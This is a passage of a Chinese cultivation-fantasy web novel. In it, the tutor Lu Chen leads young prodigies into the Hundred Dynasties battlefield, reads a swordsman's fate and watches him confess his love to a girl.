见陆尘在原地愣神良久,苏月仙又道。
陆尘摇了摇头。
九转还魂丹过於难寻,黄亦瑶虽是答应下来用此交换经书,但陆尘对其倒并未抱有太大期望,毕竟这般九转丹药哪怕是圣地圣主亦是求之不得,而黄亦瑶哪怕在圣地之中地位再高,也不见得真能寻到一枚九转丹药。
相较之下,陆尘更多的只是期望她多多搜寻药材,以备将来之需。
先前指点王纪所获百年炼药经验,陆尘在彻底消化后已至二品炼药师,甚至能简单炼制一些三品低阶丹药了。
只不过相较於修士,药师数量太过稀少,他能出手指点的次数也极少,炼药品阶提升的极为缓慢。
“希望百朝大战之中会有什麽惊喜吧。”
陆尘自顾自的嘀咕道。
百朝大战几乎汇聚了东域八成的天之骄子,陆尘可以想象,自己在其中会有怎样的飞速提升。
明月洒落,清风徐徐吹过几度后,原本那浓郁的血腥气味便是消散殆尽。
陆尘将《太上开天经》的《真一》与《真我》篇传与苏月仙,而後又与秦长乐手谈了几局。
悔不了棋的少女节节败退,只能将目光投向苏月仙。
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而苏月仙於对弈虽并无什麽兴趣,但棋落子凌厉,好似有剑出鞘一般,并不多时便将场面搬了回来。
陆尘也只能投子认输,未作半分挣扎。
这棋力比拼的不过是一个算字,苏月仙神魂何其强大,若其铁了心要赢,自己自然不会有半分神算。
当然几人下棋都并非为了输赢,纯粹就是打发时间。
苏月仙自被逼出师门,遭天下追杀后,便一直是孤身一人,飘零良久。而少女则是正当好动的年纪,却亦是要被困在这暗无天日的小世界中,不知何时才能外出。
总之皆是寂寥之人。
陆尘亦是。
自许端死後,昔年大离五侠分道扬镳,陆尘便一直是孤身一人,与赵拓虽
同在白鹿书院,却早已形同陌路。
这些年来,唯有近段时间在这井中世界,方才有在家栖息的感觉。
与其说陆尘常来此是为了陪伴二人,倒不如说是在抱团取暖。
漂泊之人追寻火光而已。
……<
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p> 良久后,待得苏月仙神魂疲惫躺入棺中,而少女早已呼呼大睡时,陆尘这才离开,回到木竹屋之中。
他取出那面铜镜,再度感知起那星罗密布的蛛网。
【渔夫】【小姐】【行者】……
这面铜镜的可联络之人并不多,仅仅只有寥寥几位。
“这所谓的小姐,恐怕便是夺舍气运之人。”
陆尘将神魂凝聚到铜镜之中,探寻这条线上的过往联络,却是发现空无一物。
“看不到以往的消息?”
他皱了皱眉。
自己与那男子接触并不多,冒然回复联络之人,迟早会被发现异常。
那【渔夫】所传送的消息,陆尘也是长久没有回复。
【对了,沿途去趟真天圣地,拜访其圣主,他会告诉你有何事需行】
就在陆尘思索之际,那铜镜上又有小字浮现出来。
依旧是【渔夫】传送的信息。
“好。”
陆尘犹豫一番,还是挑了个最简单的回复,所幸那边并未起疑,并没有再说些什麽。
他松了口气,对於天渊那边,陆尘也并未指望能瞒住多久,总归是拖到自己百朝大战结束便好。
陆尘摇了摇头,当下收敛心神,不再思虑杂事。
混沌气在其周身旋绕,带着天地初开时的威迫之感。
这段时日也指点了不少大离演武之上的天骄,除张不染外,虽并无紫色气运以上之人,但毕竟是三院四阁最出色的一批弟子,总体质量上要比寻常所见好上不少。
积少成多,陆尘已是有了相当多的各般感悟。
至於书院山脚下的那位灵脉未开的少年,陆尘也并未让其等多久,先前从京都回来一趟后,便将那开脉丹赠予少年。
只是少年资质或许太过平庸,哪怕服用开脉丹开脉,在武道天眼的窥测下,依旧还是最普通的白色气运,并未有任何起伏。
甚至於陆尘一连赠少年心法秘籍,气运始终没有变化,仍旧是白色。
陆尘虽暗自为少年叹息,但也并不觉得意外,毕竟不可能所有人都是什麽天之骄子,也不会是所有人心中执着着什麽便一定会有所成就。
芸芸众生,本就是寻常人要多的多。
见惯了所谓天骄,陆尘险些有些忘了常人应该是什麽模样的。
人生不如意,本就十之八九。
心想事成事事顺心者少有。
自己为少年哀叹,可或许在少年眼里,并不觉得修行要多大成就呢?
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第六十五章 至尊少年
有间破庙内,背着残剑的少年饮尽了壶酒,说是酒,但壶中大多是水,只是掺杂了点酒,有了些许酒味而已。
他晃了晃酒壶,见其中一滴都没有了,才把那酒壶往庙里一扔。
正正巧便砸在了庙里一位衣衫褴褛好似乞丐的老者身上。
老者被那酒壶砸醒,一瞬间便从梦中惊醒,怒骂了一句没长眼的臭小子。
那少年却是避而不听,自顾自的悠闲嚷嚷道:“等着吧臭老头,很快我的名字就会传遍整个天下,到时候你就求着我给你捎几壶好酒吧。”
衣衫褴褛的老者呵呵一笑:“不知天高地厚呀臭小子,等进去了有你好受的。”
少年并未因老者的训诫而有何气馁,脸上依旧洋溢着极为自信的笑意。
他挥了挥自己手中那把长剑,眉飞色舞。
“自年幼握剑之时,我便知自己会是这天底下的剑道魁首,山顶上的剑道至尊。”
听得少年的豪情壮语,老者一瞬间有些恍惚失神,他乾笑两声,摸了摸自己身旁的长剑。
剑已斑驳良久,好似尘封千年。
…………
深山密林中,大妖盘踞,妖力迫人,此番领地,哪怕是神游修士亦是不敢轻易而㣉。
而有位衣裳火爆的少女在林间穿梭,在各般大妖庞大的身躯之上跳转,脸上满是兴奋神色。
“人,很可怕,切莫要小心。”
有一头背负雷霆双翅的紫色雄狮口吐人言而道。
“我还是不希望你出去。”
又有一头顶硕大犄角的赤焰猛虎说道。
各般令外界修士闻风丧胆的大妖皆是围绕在少女周围,眸子里竟都是流露出担忧神色。
“大家放心啦,我是谁!只有我骗别人的份,可从来没别人骗我的份!”
少女笑容灿烂,丝毫未有担心。
听到少女这麽一说,众多大妖这才稍稍放心了些许。
也对,这惹天惹地的姑奶奶,哪还轮得到别人欺负到她的头上。
“相信我啦!你们等着我带好消息回来!”
少女神采飞扬,手腕处的手镯好似一条小龙盘踞,散发着异样的光彩。
在群妖的咆哮声中,少女欢快的走出这片生长十多年的深林,直到见不到众妖后,少女抬起手,偷偷抹着眼角泪痕。
…………
灵气万分厚重的瀑布之下,有位精壮男子拳架极为标准,好似傀儡一般的不知疲倦挥拳。
那瀑布冲刷着他,却并未令他的拳架有丝毫凌乱。
这属实极为难得,要知晓这瀑布名为天河,所裹杂着的灵力极为恐怖,哪怕是大妖那强横无比的肉身也不一定能承受的住。
而这男子不仅不断承受着瀑布的冲刷,手中打出的拳架更是没有分毫凌乱。
一招一式间,已经有拳法宗师之风范。
“你可知你此行为何?”
瀑布岸边,有个其貌不扬,好似庄稼汉的糙汉子问道。
他嘴里叼着根野草,衣衫袒露,极为的不正经,与那在瀑布之中一丝不苟,有大家之风的男子相差甚远。
但不知为何,那男子对这糙汉子极为恭敬,不敢丝毫逾矩。
“用拳头打烂同辈天骄。”
那瀑布下的精壮男子一丝不苟的说道。
“没错,就是这样,若做不到,不要回来见我。”
糙汉子大声喊道,忽地猛的挥出一拳,一瞬间竟直接将那天河瀑布截
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断。
“去吧。”
他说罢便转身离开,并未看见那精壮男子跪地,诚挚向其背影方向磕了三个响头
……
圣地所饲养的灵鹫再度盘旋於整个东域上空时,所有人都知道。
百朝大战已至。
少年至尊们从各处而出,奔赴同一片不知命运的战场。
有人将跌落谷底,亦会有人如潜龙离渊,一飞冲天。
……
大离王朝,京都皇宫。
一处古老的阵基之上,站着陆尘与林炎段凌云等五人。
此处为皇室的传送阵法,可将护道者与百朝大战的参赛者送㣉百朝战场之中。
“朕在此便提前祝贺诸位少年天骄拜㣉诸大圣地之中了。”
一身赤红色龙袍的青年拱手而道。
在这数日间,赵栀韵已经将皇位交接给自己的皇弟,自己则跟随圣地长老离去。
陆尘对此倒有些吃惊,也是没想到当日在长桥之处,竟真是道别之幕。
除大离皇帝外,三院四阁的祭酒阁主们也皆是在场,只有墨渊阁的阁主缺席。
零散的人群之中,皇室小公主亦是出现,见林炎察觉到自己后,本能的想要躲进人群之中,但最终还是挥了挥粉嫩细手,祝贺林炎一路顺风。
光芒闪烁,陆尘等人很快的便消失在众人眼中。
空间通道之中,几人坐在一艘青铜小船之上,周遭皆是一片漆黑,如同漂泊在黑色的大海之上。
少年们眼中既兴奋又忐忑,哪怕里间历经最多的林炎,亦是因这传送阵法而惊奇。
陆尘则是眸子闭起,缓缓㣉梦。
第六十六章 龙陨之地
小舟在空间通道之间飘摇,好似一叶孤舟入海。
少年们相互攀谈起来,林炎话少,段凌云却出乎意料的话多。
也不知过了多久,当陆尘睁开眼时,只见得原本一片漆黑的空间通道之中,忽地涌入无比猛烈的强光,令众人都忍不住的闭目。
等再睁眼时,便已是到了一片新的天地。
眼前天地寂寥无比,抬头望去,只觉得地平线好似延展至天边,一眼望不到头。
有一轮残阳高悬於九天之上,落下馀辉洒落在地。
荒莽,寂寥。
这便是此番天地给人的第一感觉。
“好浓郁的天地灵气啊。”
就在陆尘感慨之际,身旁的几位少年却是有些激动的喊了一声,眼神十分激动的看着周遭。
此界虽看似荒凉寂寥,与外界缥缈云雾环绕的仙山相差甚远,可这灵气浓郁程度,却也高上许多,哪怕是大离境内的第一仙山,也丝毫不能与此地相比。
入这百朝战场的天骄,哪怕什麽奇遇都没有,干坐在此界修行,所获益也是极大,这也难怪各般势力为了抢夺入百朝大战的名额,皆是勾心斗角,费尽心机。
“你等知晓百朝战场究竟是什麽吗?”
陆尘看着众人笑道。
除却林炎与段凌云外,其馀三位弟子一位是黄色——小有成就的命格,两位是蓝色——修行大能的命格,虽与林炎二人相差甚远,但陆尘看过几人生平,也知晓几人皆是性格纯良之人,故而对三人也多有指点。
原些那位黄色命格的,如今已是带着淡淡的蓝色了。
“据说此地曾是一处古战场,死了诸多巅峰修士。”
青鸟书院弟子,山崖说道。
他身为青鸟书院祭酒亲传,对於这些隐秘要更了解些。
而林炎虽也从其老师之中知晓这些隐秘,但却不好多说什麽。
至於段凌云,如今虽横压一代天骄,但修行岁月尚浅,对於许多事都是懵懵懂懂的,并不清楚。
“昔年人族与妖族大战,放逐妖族於四海,人族这才第一次成为天地五域的主宰。”
“而妖族身为曾经的五域主宰,其中自然有心高气傲者不愿逃亡海外,宁死也要死在五域之上。”
“其中最为强大的一名大妖,乃真龙之属,境界高到吓人。”
“其在五域放肆屠杀,以此来宣泄妖族战败之怒火,此番行径,自然也是受到了古之修士们的追杀。”
“一样身居大道山峰处的巅峰修士们齐齐对这条真龙追杀,一直从中土追到了东域,最终真龙在一处龙气极盛的山脉之中与修士们死战,虽难逃一死的下场,但亦是以命换了不少巅峰修士身陨,而那些想要浑水摸鱼的修道者,哪怕在十分外围的地方远观,亦是被这种大战馀波所波及,身死道消。”
“真龙死後,怨念极深,千万年不散,再加上诸多巅峰修士亦是身死於此,哪怕死後,亦是有莫名道痕威压,以至於那座山脉化为禁区,再无人敢踏足。”
“直到这个纪元,这些巅峰修士以及真龙气息消散九成,诸圣地才对此处进行争夺,因之又掀起席卷整个东域的腥风血雨。”
“最後打到一代天骄凋零,诸圣地才坐下来和谈,将此地定为选拔天骄的战场。”
陆尘缓缓而语,就好似自己是在学堂之上讲课一般。
几人都听的极为认真,要知晓,这些隐秘,哪怕是皇室也未必可知,而陆尘却是说的如此详细,好像自己是亲历之人一般。
当然,陆尘自己不可能经历过,他之所以知晓这些琐事,也不过是从苏月仙口中听来的。
本来以苏月仙的性子是不愿多说这麽多的,但见陆尘外出之前,替其留了相当多的鲜血,这才娓娓道来。
“我们现在所处之地,只怕是这番天地的最外围,与那龙脉所在之地相差十万八千里。”
陆尘笑了笑又道。
“这还只是最外围?”
紫狮书院的弟子惊叹道,他是个十分魁梧精壮的汉子,随便往那一站,便好似铁塔一般。
其馀几人亦是同样吃惊,要知晓此地的灵气已经要比大离第一仙山还要浓郁,若真到了最中心的龙脉之处,那岂不是与所谓的仙庭一般?
陆尘点了点头。
“当然也别想着现在就往龙脉之处去,此番天地囊括了东域九成的年轻天骄,冒然往里走,只会是自讨苦吃。”
“反倒是外围之处,有诸多神游境强者传承散落,可以缓缓图之。”
陆尘顿了顿,又与几人说道。
众人皆是点头,对陆尘的话极为听信。
他们几人本就都受过陆尘拂照,再加上见识过陆尘与那墨渊阁阁主交手,自然是更为钦佩,不自觉的便对陆尘所言深信不疑。
“这位小夫子不简单呀。”
有一道空灵之声忽地在林炎心海之中响起,林炎自顾自的点了点头。
众人之中,只有他一开始便是陆尘的学生,很久之前听陆尘讲课,便知晓他与常人不同。
这位夫子对待学业虽是懒散了些,那所论之言却总是发人深省。
“此番天地有诸多妖兽为
龙气所吸引,夜幕之时最易暴动,如今天色已晚,我们先去城中落脚,再徐徐打探各番密藏传承的下落。”
陆尘抬头看了眼天色,落日馀晖洒落,那残阳也将落下。
众人自是无异议,此时除开林炎与段凌云二人,那三人都在感叹还好不是墨渊阁的长老当这护道人。
若是按照以往,别宗弟子别说是受什麽拂照了,不被针对那便算好的了。
但陆尘行事,却是让三人觉得他一视同仁,虽还是与林炎段凌云更为亲近些,但这也实属正常,毕竟他们本就是夫子学生的关系。
“往北走。”
陆尘粗略的感知了灵气波动,而後便指了个方向带着众人向前。
尘沙席卷下,几道身影如惊鸿一般掠出,良久后,终於在茫茫无际的荒原之中看到了一处古老森严的
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城池轮廓。
待到稍微近些,几人才看到那城楼牌匾处刻下的两个大字。
“斜阳。”
“百朝战场有一百零八道城池关隘,为参赛者夜晚落脚之处,在城中歇息,自然要比在荒野上时时刻刻担心兽潮来袭要好的多。”
陆尘又与众人解释道。
他本也是性子松散之人,并不愿意说太多做太多,但既然接下了这护道人的担子,总归是要承担点什麽。
“十块赤阳石都没有?那就给我滚!”
就在几人朝着城池走去时,却听得一声暴喝在那城门口的人群之中响起。
有位少年人被推搡着挤出人群外,刚想要发作什麽,但见那暴喝之人浑身上下极为浓郁的紫气,显然已经到达了紫府圆三重境界,当下也不敢多说什麽,咬着牙气愤离去。
陆尘嘴角抽搐,想也不用想,定是那种不带脑子的低脂炮灰,借着自己王朝亦或是皇朝的威势在城门处拦人,收取这过路费用。
要知晓赤阳石乃是蕴含赤火精华的一种灵石,无论是紫府境强者破境上阳,亦或者是上阳境强者再做突破,对此灵石的需求都不小。
故而赤阳石亦可视为更为高阶的一种灵石货币,无论在何处都是硬通货。
迫於守门之人的威压,排队的人马也只能是乖乖的交出赤阳石,好似是待崽的羔羊一般。
这才刚到百朝战场没多久,这些曾经的昔日天骄们便有些道心破碎。
原些在各自的王朝之内,皆是众星捧月的待遇,可到了此处,却发觉周身何人不是如此?
甚至要更加恐怖的多。
至於他们的护道人,对此也是无可奈何,七大圣地有规定,若护道人对参赛天骄动手,无论原因为何,都需要逐出百朝战场,严重者甚至会受到七大圣地的追责惩罚,镇压于禁地之中。
陆尘眼神扫过,近百人的队伍中,没有一人的命格是白色。
黑色丶红色丶黄色丶蓝色,这四色皆有之,就是没有平淡无奇的白色。
虽未见到蓝色之上的命格,陆尘倒也并不意外,毕竟这只是最为外围之地,再者如此之多的蓝色命格之人,哪怕每日光指点他们,那也是极为丰厚的一笔奖励了。
“十颗赤阳石,没有就滚。”
似乎又有人拿不出来,挨了那守城之人的训斥。
“不是在你手上吗?”
那最前列的人说道。
“你小子脑子被驴踢了?”
守城之人怒骂一句,他手中拿着芥子袋,里间皆是赤阳石,但与这眼前人并没有什麽关系。
“好烦啊,怎麽到哪都有你这种脑袋伶不清的人啊。”
那人又哀叹一声,伸手扶额。
守成之人不愿再与之废话,当下一身紫气宣泄而出,暴喝一句:“没有赤阳石就……”
他话还未说完,头颅便已落地。
那人脸上沾惹着鲜血,还未擦乾,便叹了口气入城。
“废什麽话。”
第六十七章 剑不得出
血腥味仍在空中弥漫着,那拔剑之人的背影便已是消失在众人眼前。
直到一声飞鸟飞过的啼叫声后,众人这才回过神来,一窝蜂的去争抢那芥子袋以及守城之人身上的灵器灵宝。
一时之间,城外又是血光四溅。
陆尘几人则越过纷乱的人群,迈㣉城中。
“你们先找个客栈落脚,我有事要处理一下。”
他转过身,看向几人。
林炎几人虽有些疑惑,但都是对夫子极为信任,当下皆是点了点头,并未有多说什麽。
陆尘则是身影如长虹般掠出,一瞬间便追上了那拔剑之人。
果真是漏网之鱼。
武道天眼开启,陆尘自顾自的嘀咕道。
先前粗略的扫了一眼队伍,却没想到这条真正的大鱼未被自己看到。
“前辈是那家伙的护道人?”
见有人追上自己,那拔剑之人转过头来挑眉问道,脸上没有丝毫的惧意。
这是位面容清秀,脸色白的有稍许病态的少年,整个人看着有些病殃殃的,与那凌厉拔剑之人属实有些差别。
“非也。”
陆尘摇了摇头。
【姓名:宁远】
【年龄:十七】
【境界:紫府一重】
【命格:紫色】
【生平:剑道世家传人,天生剑胚,剑心通透,年不过十五时,便悟出剑道真意,横压所在皇朝一辈天骄,后痴心一女子,求之不得,为情所困,剑不得出,哪怕後来知晓其是敌对势力所刻意安排之人,亦是难以走出,蹉跎岁月。直至多年後宗门惨遭灭门之劫,才幡然醒悟,重拾剑心,成一代剑道至尊。】
【近期遭遇:㣉百朝大战,并不顾诸多密藏传承,一心搜寻喜爱少女之身影,得知其身处斜阳关中,特地赶来。】
“那就好,还以为又是打了小的来了老的那种。”
少年腰间佩剑,剑却并不配鞘,就那麽明晃晃的亮着,其上血色仍旧未乾,显得锋芒毕露又杀气弥漫。
可想而知,这位看着清秀瘦弱的少年心底里是个何等狂傲之人,明晃晃的告诉所有人,自己是名剑修,且是刚杀了人的剑修。
他自顾自的吐槽了一句。
在剑气皇朝时,便一直是打了小的来了老的,若不是自己背景也够硬,指不定得被那些老狗给追着到处跑。
当然少年并未有过这般狼狈时候,他自出生时起便是顺风顺水,不仅宗族为皇朝第一剑道世家,自己也是一路横压同辈
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天骄,从未有过敌手。
这般境遇,自然也让少年的性子如自己的佩剑一般,锋芒毕露。
在那城池外,其实也有人是紫府境三重或者能匹敌紫府境三重的实力,但都对那守城之人背後的势力有所顾忌。
唯有少年,没有丝毫的顾忌,一拔剑,便是人头落地,乾脆利落的很。
“不知先生又有何贵干?”
少年上下打量了眼陆尘,又问道。
“实不相瞒,我会点算命之术。”
陆尘一脸正色的说道。
看完少年的生平后,陆尘其实有些头疼。
情之一字最是难解,说不清也道不明,并非是寻什麽丹药又或者是用什麽古法便能解决的东西。
当然陆尘总是要试一试,不可能让紫色命格之人就这麽跑掉。
听陆尘这麽一说,少年人当即转身,头也不回的往前走。
“我所算之术,并非在吉凶祸福,而是在缘。”
陆尘冲着少年人背影,又神神叨叨的说道。
少年人停步,转过头来。
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第六十八章 缘
“缘?”
宁远看向陆尘,很是疑惑的问道。
陆尘嘴角悬挂笑意,微微点头。
“没错,正是缘之一字。”
“大街上这麽多人,为何偏偏寻我?”
少年皱了皱眉,手指了指周遭之人。
“我与你有缘,便来寻你算一卦,此即谓缘。”
陆尘顿了顿,又是神神叨叨的这般念叨着。
“那情缘……能算吗?”
少年人在原地思索片刻,而後看向陆尘,有些羞赧的问道。
陆尘点头。
“自然,缘之一字,十有八九於情,我既然要为你算这一卦,自然要解你之情缘。”
少年人还是有些狐疑的看着陆尘,他这身装扮,更像是书院之中的教书先生,与那些术士神相属实相差甚远。
“小友是不信我?”
陆尘又笑道。
宁远十分实诚的摇了摇头。
“你赶至此处,不就是为了求缘吗?我说的没错吧。”
陆尘笑眯眯的说道。
宁远一怔,这才对陆尘有几分相信。
“还请先生为我算一卦,如真灵验,我必有厚报。”
他回过神来,行了一礼道。
听得此言,陆尘当下微微点头,而後双眸闭起,装模作样的手掐指节,好似真的是什麽术士神相一般。
良久后,他眸子睁开,眼中有一丝悲愁之意。
原本天不怕地不怕的少年在此刻竟是万分紧张,十分忐忑的看着陆尘。
而腰间佩剑似乎与剑主心灵相通,恰在此刻嗡鸣不已,好似龙吟之声一般清脆。
陆尘刚想要说些什麽,却见周遭忽地一群人围了上来,面色凶狠,气势磅礴。
为首之人是一位高大男子,脸上有着一道从眉心处延展开来的疤痕,身後背着把血红色的大刀,目光阴寒,整个人看起来凶狠异常,令人不敢与之对视。
“是你杀了我们大江皇朝的人?”
男人目光越过陆尘,看向宁远。
“是城门口那个?”
宁远见这麽多人围上来,丝毫不惧,反倒是有些厌烦,觉得他们打扰了自己问卦。
“是他。”
背刀汉子点头,他浑身有股血煞之气,好似是在死人堆里历练出来是一般。
“是我,怎样?”
宁远眉头一挑,也并未说什麽动手的理由。
他一向如此,随心而挥剑,并不问缘由。
或许别人以为是宁远看不得这大江皇朝仗势欺人才正义出手,但其实在宁远自己念头里,真的只是因为那守城之人废话太多,令其听得无比厌烦。
“那你便去死。”
背刀男子恶狠狠的道了一句,而後取下身後那柄血红色的大刀,刀身上铭刻有虎形图案,张开着血盆大口,好似要吞噬一切。
瞬时之间,便有一股极为迫人的威压之气弥漫在周遭,令人有些喘不过气来。
陆尘则并未说什麽,只是悄然用武道天眼扫视周遭众人。
在场之人的天赋都还不错,虽并未有紫色或其以上命格。
而这位拔刀而出的汉子,正是蓝色命格之人。
【姓名:庞望】
【年龄:二十一】
【境界:紫府三重】
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【生平:出身世俗武学世家,自幼练武,基础十分扎实,后遇仙师云游,见其颇有根骨,带回宗门之中,自此开始修行,一路上势如破竹,时常闯荡深山密林或是沙场前线之中,历经多难磨炼。只是其锋芒越盛,心中血性便越发难以抑制,习惯以势压人,后㣉百朝大战之中,被同辈中人断掉一条手臂,自此收敛心性,终成一方修行大能。】
【近期遭遇:带领皇朝众人霸占斜阳关,在㣉城之处设置卡口,以此收取㣉城费用,但守城之人身死,故其带上人马寻杀人者。】
庞望的命格并无太多特别之处,至於其被同辈天骄断了一条手臂之事,陆尘也并不想干扰,故而陆尘脚步轻点,身影一飘,落在了一侧的屋檐之上。
见陆尘走开,那庞望再无顾忌,当下双手持刀,两腿依次抬起又是一踏,竟险些将脚下的立足之地踏的凹陷下去。
他高举长刀,身後缓缓有血红色猛虎落泪的身影凝聚。
庞望身後众人皆是一惊,他们没有想到,自己老大竟然出手便是这般地阶武技。
此技名为狂虎血饮刀,为地阶下品武技,威势极大,非常人所能抗下。
以往庞望总是在对局焦灼时才会使出这一成名绝技,而如今出手便是这般武技,属实是十分罕见。
众人看向那腰间佩剑的少年,也并未觉得他有何罕见之处,唯一觉得其有些与众不同的,也只有是腰间那把剑并不配鞘而已。
“
狂虎血饮刀!”
随着庞望暴喝一声,他那举过头顶的大刀便是猛的挥落下来。
天地之间有一声虎啸随着刀势响起,只见其身後的猛虎虚影猛的越出,张着血盆大口的扑向宁远。
其威势之惊人,令周遭人都
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忍不住的往後连连退步。
反倒是身处於风暴中心的宁远脸色如常,将手按在剑柄之上,拔剑而出,极为写意的一挥。
一道并不如何显眼的剑气激荡而出,一瞬间便破了那声势惊人的猛虎。
“还要打吗?”
宁远问道。
他倒并不惧这些人围上来,只是动手的话,无论如何都要耗费些许时间。
而对於宁远来说,现在的他度秒如年,无比的想要听到陆尘给出的卜算结果,一刻时间也不想浪费。
背负大刀的庞望则好似并未听闻宁远此语,仍是冲了上来,大刀带着血煞之气,奋力一劈。
宁远脚步轻点,微微避开这极为恐怖的一刀。
“当真想死?”
他有些厌烦的问道。
“杀了我们大江皇朝的人,不会觉得这麽轻易就放你走吧。”
“跟我一起上。”
庞望怒吼一声,身後的那些人这才回过神来,皆是拿着灵器冲向宁远。
一瞬之间,便有十多股浩荡紫气在这大街之上迸发,令行人纷纷避让开来。
宁远持剑在众人围攻之下周旋,长剑作周天旋转,尽是将各方位的凌厉攻击尽数接下,一点不落下风。
看着底下众人厮杀,陆尘忽地有些头疼。
按照武道天眼的查看,这庞望会被天骄断去一臂,但这一臂到底是不是宁远断的,陆尘也并不知晓。
“不想死,就给我滚。”
宁远身上的白袍已经沾染上了不少鲜血痕迹,当然并非是他的,而是与其交手之人。
他一剑如神龙摆尾一般将众人横扫开来,而後眉头紧锁而言。
其眉心之处,隐隐约约的浮现一竖线,好似刀刻一般。
感受到宁远身上的气息悄然间变得更加凌厉,庞望当下也是冷静下来。
“这笔账,龙脉之处再与你清算。”
庞望放下这句狠话,便带着手底下的人离去。
此时毕竟还只是在整个百朝战场的外围,若是在此处便拼死拼活的,那确实是十分愚蠢的做法。
一开始庞望只是想拿宁远立立威,但此番交手后,知晓其亦是真正的天骄人物,哪怕此时离开会引得周遭人嘲笑,庞望也只能作出这般决定。
“你放心,不用等到龙脉之处,等我闲时,自会来杀你。”
宁远呵呵笑道。
他可不是什麽纯良之辈,本就是个心高气傲的天之骄子,若不是着急听陆尘解卦,此时早就是把底牌亮出,要斩这些人於剑下。
庞望冷哼一声,并未说什麽,径直这般离去。
而在陆尘眼中,其头顶的气运却从蓝色一路下跌,直至变成大凶之兆的红色命格。
第六十九章 不信命
【生平:因与同辈天骄结仇,被其追杀至兽潮之中,险死还生。】
【近期遭遇:与同辈天骄结仇,恐他人渔翁得利,暂且离去。】
武道天眼之下,那庞望的生平与命格亦是悄然发生了变化,由原些的蓝色变作了红色,有大凶之兆。
陆尘微微皱眉。
这般看来,原些该斩断其手臂的确实应该是宁远。
而在自己插手后,宁远不想与其过多纠缠,故而并未断其手臂,反而是打算日後对其追杀,这才使得庞望的命格有所变化。
陆尘摇了摇头。
“待到兽潮之时再看看发生了何事吧。”
他自顾自的说道,一跳落地,站到了宁远身前。
“剑术不错。”
陆尘笑道。
宁远亦是一笑,与陆尘边走边说。
“是个不好的结果,你要听吗?”
陆尘问道。
宁远还没走两步,当下听到陆尘这话,当即便又是愣在原地。
一向肆意傲气的天之骄子竟是把头缓缓低下,不知在想些什麽。
良久后他才抬起头道:“其实我也知道不会有什麽好结果,先生告诉我吧。”
“你与心念之人有缘无分,如执意求之,家破人亡。”
陆尘缓缓而语,声音虽是不大,但落在宁远耳中,却好似一道惊雷。
“家破人亡?”
他有些不理解的看向陆尘。
“没错,这个家,指的是你宗门以及宗族所在。”
陆尘又道。
宁远一时之间呆若木鸡,不知道在想些什麽。
“我不信。”
良久的沉默后,他这般说道,当下不愿再理会陆尘,径直向前而走。
“我不会骗你的,你应该知道我在说实话,这便是我所看到的,你的命。”
陆尘冲着少年背影又道。
少年转过身来,看向陆尘,一板一眼的道:“若这便是我的命,那我便不信命。”
他又瞥了瞥手中长剑。
“我只信我手中之剑。”
他又说道。
“情之一字,你剑术再高明,又有何用呢?”
陆尘问道。
少年人被陆尘这一问又问的有些愣神。
“至少我握着这把剑,便不会出现你所谓的家破人亡之景。”
“若你能放下执念,凭手中之剑自然不会落得那般下场,但若你偏要强求,至少在我看到的未来里,你一定会走到那样的田地。”
陆尘缓缓说道。
他其实不太愿意再去讲什麽道理。
情之一字本就难解,并非是有何道理便能讲清的。
陆尘所能做的只是把利害摆在宁远的面前,期望他能在权衡之中放下这段执念。
宁远摇头。
“那是我心心念念的女子,我将之与我手中剑视为同等的执念,若今日有个别的术士说我若不放下剑,我以後定会凄惨潦倒,先生觉得我便要听信他的话,放下我手中之剑吗?”
此话一出,陆尘便知道自己是劝不成了。
“你之心意,她知晓吗?”
陆尘有些头疼的问道。
少年点了点头,又摇了摇头。
“应该是知道,但我并未明说过。”
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他罕见有些羞赧的说道。
“这样吧,我与你一同去寻她,找到她,你便将你之心意与她说如何?”
少年愣了愣,却是没想到眼前这位青衫夫子会这般说。
但他本就有这个打算,只是犹犹豫豫的,并未下定决心。
当下听得陆尘此言,好似受到鼓舞一般,也是咬牙点头下来。
“好。”
见得宁远同意下来,陆尘便带着宁远在各间客栈之中问询,因为宁远与那庞望一战战出威名,而大江皇朝本就因收取赤炎石一事引起各方不满,故而这问询之旅十分顺畅,各方都乐於相告。
并不多时,宁远便在一间客栈之中问询到了心念之人。
“是这位商鸢姑娘吧,她在地字楼二号间。”
客栈的掌柜陪笑道。
这些经营关口里客栈之人,大多都是各皇朝的一些边缘人物,自知无力与天骄争锋,所幸在关口之中经营生意,以此来赚取赤炎石,供自己修行,当然其中大头,自然还是由各皇朝的领军人物收取,毕竟没有背後的这些人马支持,这客栈一个人总归是开不下去的。
虽说客人信息本不应透露,但掌柜的也知晓其是能与大江皇朝众人相抗衡的人物,对他所提的要求,并不敢拒绝。
“麻烦您能给我开个品茶的静室吗,然後告诉商鸢姑娘,宁远求见。”
宁远诚挚说道。
“小事一桩,小事一桩。”
掌柜的笑了笑,便带着陆尘二人到了静室门前。
陆尘自然并未进去,只是依靠在廊道的凭栏之上,望着楼下饮酒吃肉的众人。
并不多时,便有一位清秀女子袅袅而来,与陆尘擦肩而过,入了那静室之中。
第七十章 剑心
“宁公子有什麽事吗?”
静室之中,两人铺毡对坐。
一向不爱饮茶的宁远竟是早早沏好了上等的茗茶,十分板正的坐着。
少女入座后则是眨巴着水润的眸子,有些疑惑的问道。
“我……”
宁远看了一眼少女,但很快的就将目光偏移,他张了张嘴,想说些什麽,但磕磕绊绊的却并不能讲出。
名为商鸢的少女轻抿了口茗茶,也并不着急,就那麽安静的看着宁远。
“商鸢姑娘,我喜欢你。”
静室之中寂寥长久,忽地被宁远这一大喊打破了沉默。
他桌子下的双手异常颤抖,这是很不常见的情形。
要知晓握剑之人手都稳的异於常人,更别说是宁远这般的剑道天才了。
说完这一句后,宁远就赶忙把头低下,不敢丝毫抬头。
他的心砰砰直跳,这般紧张之态,哪怕是面对那些荒古大妖,他也从未有过。
少女并未被宁远这一吼而吓到什麽,脸色如常。
她将那青瓷茶盏轻轻放下,而後叹了口气,轻声说道:“多谢宁公子美意,但我对公子并无此番念头。”
少女的眸子澄澈,好似流淌过山间青石的小溪一般。
虽然知道多半是这个答案,可当听到时,宁远的心还是忽地一抽,隐隐间有些发痛。
“我知道的,商鸢姑娘不用在意,我只是想告诉你我的想法而已。”
良久后,宁远抬头,强挤出个笑意说道。
“商鸢姑娘现在不喜欢我没关系,我相信,总有一天你会喜欢上我的,我会成为天底下最厉害的剑仙,让所有人都羡慕你。”
他顿了顿,有些紧张而又坚定的说道。
商鸢听得此话微微皱了皱眉,而後轻轻摇头。
“我喜不喜欢你,与你是不是剑仙又有什麽关系呢?哪怕你是天底下最厉害的剑仙,和我有什麽关系呢?”
少女神色认真的反问道。
宁远忽地一愣,一时间语塞。
